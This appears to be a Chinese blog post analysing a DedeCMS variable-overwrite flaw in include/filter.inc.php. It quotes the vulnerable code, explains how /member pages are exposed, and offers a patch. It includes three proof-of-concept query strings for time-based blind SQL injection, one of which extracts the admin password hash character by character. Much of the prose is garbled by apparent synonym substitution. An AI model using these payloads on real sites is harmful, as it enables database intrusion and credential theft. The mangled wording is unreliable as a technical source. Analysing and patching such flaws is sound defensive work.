欢迎光临杨雨的个人博客站!

杨雨个人网站-杨雨个人博客-杨照佳

杨雨个人博客网站

关注互联网和搜索引擎的个人博客网站

首页 > cms使用教程 > 织梦仿站教程 >

织梦Dedecms体系可疑文件include/filter.inc.php扫描出裂痕,该怎样办理?

发布时间:2017-01-04  编辑:杨雨个人博客网站   点击:   

本日在做网站监察的时辰,发明网站出了一个题目,在对网站做木马监测的时辰,扫描出一个可疑文件:/include/filter.inc.php,提议删除,但细心搜查后,发明此文件是织梦(Dedecms)体系自带的题目,那么,我们该怎样办理呢?



裂痕描写:dedecms的filter.inc.php这个文件在体系设置文件之后,内里有foreach轮回建设变量,可以包围体系变量从而导致注入裂痕。

裂痕路径:/include/filter.inc.php

裂痕说明:

 

/include/filter.inc.php文件中:

 

function _FilterAll($fk, &$svar)

{

    global $cfg_notallowstr,$cfg_replacestr;

    if( is_array($svar) )

    {

        foreach($svar as $_k => $_v)

        {

            $svar[$_k] = _FilterAll($fk,$_v);

        }

    }

    else

    {

        if($cfg_notallowstr!='' && preg_match("#".$cfg_notallowstr."#i", $svar))

        {

            ShowMsg(" $fk has not allow words!",'-1');

            exit();

        }

        if($cfg_replacestr!='')

        {

            $svar = preg_replace('/'.$cfg_replacestr.'/i', "***", $svar);

        }

    }

    

    return $svar; //未对外部提交的数据举办有用转义,直接return返回造成当地变量注入

}

 

/* 对_GET,_POST,_COOKIE举办过滤 */

foreach(Array('_GET','_POST','_COOKIE') as $_request)

{

    foreach($$_request as $_k => $_v)

    {

        ${$_k} = _FilterAll($_k,$_v);

    }

}

1. 在magic_quotes_gpc=off的时辰可以绕过_RunMagicQuotes的过滤 

xxx.php?site=skyhome’s blog

2. 颠末common.inc.php

$skyhome = skyhome\’s blog

3. 颠末filter.inc.php

$skyhome = skyhomen’s blog  //从头得到闭合进攻性

裂痕触发前提:

1. 措施不应承建设cfg_开头的变量,依赖这样来防止体系变量未初始化裂痕。

2. common.inc.php文件的裂痕我们建设了体系变量就可以触发此类裂痕,可是有的体系变量已经初始化了,并且是在common.inc.php文件foreach轮回注册变量之后,就是说我们能建设,可是不能包围。

3. 可是filter.inc.php这个文件又举办了一次foreach轮回也就是二次建设。以是假如包括了filter.inc.php文件我们就可以包围体系变量。

4. 在/member目次的大部门文件都包括这么一个文件/member/config.php,这个文件的前两句就是:

require_once(dirname(__FILE__).’/../include/common.inc.php’);

require_once(DEDEINC.’/filter.inc.php’);

也就是说member目次的大部门文件都受此裂痕影响,可以包围掉体系变量 。

0x1: POC1

?action=desshow&mid=1&action=despost&mdescription=asd'  where id=@`'` or(select if(substring((select pwd from dede_admin),1,1)='f',sleep(5),0)) -- - @`'`

0x2: POC2

?action=desshow&mid=1&action=despost&mdescription=asd'  where id=@`'` or(select if(substring((select 1),1,1)='1',sleep(5),0)) -- - @`'`

0x3: POC3

?action=desshow&mid=1&action=despost&mdescription=asd'  where id=@`'` or(select if(substring((select user()),1,1)='r',sleep(5),0)) -- - @`'`

裂痕办理:

/include/filter.inc.php

 

$magic_quotes_gpc = ini_get('magic_quotes_gpc');

function _FilterAll($fk, &$svar)

{

    global $cfg_notallowstr,$cfg_replacestr;

    if( is_array($svar) )

    {

        foreach($svar as $_k => $_v)

        {

            $svar[$_k] = _FilterAll($fk,$_v);

        }

    }

    else

    {

        if($cfg_notallowstr!='' && preg_match("#".$cfg_notallowstr."#i", $svar))

        {

            ShowMsg(" $fk has not allow words!",'-1');

            exit();

        }

        if($cfg_replacestr!='')

        {

            $svar = preg_replace('/'.$cfg_replacestr.'/i', "***", $svar);

        }

    }

    if (!$magic_quotes_gpc) {

        $svar = addslashes($svar);

    }

    return $svar;

}

 

/* 对_GET,_POST,_COOKIE举办过滤 */

foreach(Array('_GET','_POST','_COOKIE') as $_request)

{

    foreach($$_request as $_k => $_v)

    {

        ${$_k} = _FilterAll($_k,$_v);

    }

}

好了,到这就先竣事了!假若有其他的更好的要领,我会在说明给各人!

本文地址:http://itbyc.com/web/dedecms/15037.html
转载请注明出处。
分享是一种快乐,也是一种美德:
评论列表(网友评论仅供网友表达个人看法,并不表明本站同意其观点或证实其描述)
博客首页 | WEB开发 | 网站运营 | CMS使用教程 滇ICP备14002061号-1